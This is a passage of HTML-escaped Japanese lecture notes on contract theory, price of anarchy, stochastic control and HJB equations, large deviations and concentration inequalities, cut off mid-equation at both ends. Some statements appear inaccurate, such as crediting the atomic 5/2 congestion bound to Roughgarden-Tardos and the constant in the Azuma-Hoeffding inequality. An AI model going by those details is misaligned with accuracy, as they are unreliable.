&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{w(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot), e} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int [x - w(x)] f(x|e) \, dx &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{s.t.} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int u(w(x)) f(x|e) \, dx - c(e) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{u}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を最大化する。ここで $&lt;/span&gt;&lt;span&gt;u$&lt;/span&gt;&lt;span&gt; はエージェントの効用関数、$&lt;/span&gt;&lt;span&gt;c$&lt;/span&gt;&lt;span&gt; は努力コスト、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{u}$&lt;/span&gt;&lt;span&gt; は留保効用である。一階条件法（First-Order Approach）では、エージェントの最適化問題の一階条件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int u(w(x)) f_e(x|e) \, dx = c'(e)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を制約として用いる。Mirrlees条件（単調尤度比特性：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{f_e(x|e)}{f(x|e)}$&lt;/span&gt;&lt;span&gt; が $&lt;/span&gt;&lt;span&gt;x$&lt;/span&gt;&lt;span&gt; について単調増加）の下で、一階条件法は正当化される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### Adverse Selectionモデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;エージェントのタイプ $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Theta$&lt;/span&gt;&lt;span&gt; が非対称情報として存在する場合、メニュー $&lt;/span&gt;&lt;span&gt;\{(q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta), t(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta))\}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Theta}$&lt;/span&gt;&lt;span&gt; を設計する。インセンティブ整合性（IC）制約&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;u(q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) - t(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge u(q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) - t(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;hat&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;と個合理性（IR）制約&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;u(q(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) - t(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;の下で、プリンシパルの期待利得を最大化する。単調性条件 $&lt;/span&gt;&lt;span&gt;q'(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; が最適契約の特徴となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 計算ゲーム理論：Price of AnarchyとPrice of Stability&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;非協力ゲームにおける社会的コスト（全プレイヤーのコストの和）を $&lt;/span&gt;&lt;span&gt;SC(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n c_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma)$&lt;/span&gt;&lt;span&gt; とする。最適解（社会的に最適な戦略の組）のコストを $&lt;/span&gt;&lt;span&gt;SC^*$&lt;/span&gt;&lt;span&gt; とすると、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**Price of Anarchy（PoA）**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{PoA} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{NE}} SC(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma)}{SC^*}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**Price of Stability（PoS）**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{PoS} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{NE}} SC(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma)}{SC^*}$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が定義される。原子型ネットワーク混雑ゲームでは、線形コスト関数の下で $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{PoA} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; が成立する（Roughgarden-Tardosの定理）。非原子型（無限小プレイヤー）では、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{PoA} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt; となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 確率微分方程式と確率制御&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率過程 $&lt;/span&gt;&lt;span&gt;X_t$&lt;/span&gt;&lt;span&gt; が確率微分方程式（SDE）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;dX_t = b(X_t, u_t) \, dt + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma(X_t, u_t) \, dW_t&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;に従う場合、制御問題の値関数はHJB方程式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial V}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial t} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{u &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{U}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}^u V + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ell(x, u) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を満たす。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}^u$&lt;/span&gt;&lt;span&gt; は生成作用素&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}^u = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i} b_i(x, u) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial x_i} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i,j} (&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;top)_{ij}(x, u) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial x_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial x_j}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;である。解の存在と一意性は、係数 $&lt;/span&gt;&lt;span&gt;b, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma$&lt;/span&gt;&lt;span&gt; のリプシッツ条件と成長条件の下で保証される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 数値解法：有限要素法と変分法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;HJB方程式の数値解法として、有限要素法では空間をメッシュに分割し、ガラーキン法で離散化する。変分法では、HJB方程式を変分不等式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{u} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}^u V + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ell(x, u) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\} = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;として定式化し、ニュートン法や半滑らかニュートン法で求解する。政策反復法では、方策評価ステップと方策改善ステップを交互に実行し、収束まで反復する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### モンテカルロ法と確率的数値解法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;HJB方程式の高次元問題では、モンテカルロ法が有効である。確率表現（Feynman-Kac公式）により、値関数は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;V(x,t) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_t^T e^{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_t^s r(X_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau, u_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau) d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ell(X_s, u_s) ds + e^{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_t^T r(X_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau, u_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau) d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau} g(X_T) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid X_t = x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;と表現される。ここで $&lt;/span&gt;&lt;span&gt;X_t$&lt;/span&gt;&lt;span&gt; は制御下の確率過程、$&lt;/span&gt;&lt;span&gt;r$&lt;/span&gt;&lt;span&gt; は割引率である。深層学習との融合では、ニューラルネットワーク $&lt;/span&gt;&lt;span&gt;V_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta(x,t)$&lt;/span&gt;&lt;span&gt; をパラメータ化し、損失関数&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;L(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left| &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial V_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial t} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{H}(x, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_x V_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nabla_x^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; V_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right|^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を最小化する。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{H}$&lt;/span&gt;&lt;span&gt; はハミルトニアンである。Deep BSDE法では、確率過程の終端条件を満たすように逆方向SDEを解く。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 大偏差原理とリスク評価&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;大偏差原理（Large Deviation Principle, LDP）は、確率測度の尾部確率の漸近挙動を記述する。確率過程 $&lt;/span&gt;&lt;span&gt;X_t$&lt;/span&gt;&lt;span&gt; がレート関数 $&lt;/span&gt;&lt;span&gt;I(x)$&lt;/span&gt;&lt;span&gt; でLDPを満たすとは、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lim_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{P}(X_t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in A) = -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;inf_&lt;/span&gt;&lt;span&gt;{x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in A} I(x)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が成立することである。Varadhanの定理により、期待値の対数は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lim_&lt;/span&gt;&lt;span&gt;{t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{t} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[e^{t F(X_t)}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_&lt;/span&gt;&lt;span&gt;{x} \{F(x) - I(x)\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;となる。これを用いて、尾部リスクの漸近評価が可能となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 集中不等式と確率的バウンド&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率変数 $&lt;/span&gt;&lt;span&gt;X$&lt;/span&gt;&lt;span&gt; の期待値からの偏差を評価する集中不等式として、Azuma-Hoeffding不等式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{P}(|X - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[X]| &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge t) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;exp&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;t^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n c_i^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;がある。マルチンゲール差分列 $&lt;/span&gt;&lt;span&gt;d_i$&lt;/span&gt;&lt;span&gt; が $&lt;/span&gt;&lt;span&gt;|d_i| &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le c_i$&lt;/span&gt;&lt;span&gt; を満たす場合に適用される。McDiarmidの有界差分不等式は、関数 $&lt;/span&gt;&lt;span&gt;f(X_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, X_n)$&lt;/span&gt;&lt;span&gt; が有界差分条件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|f(x_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, x_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, x_n) - f(x_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, x_i', &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, x_n)| &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le c_i&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を満たすとき、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{P}(|f - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[f]| &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge t) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; 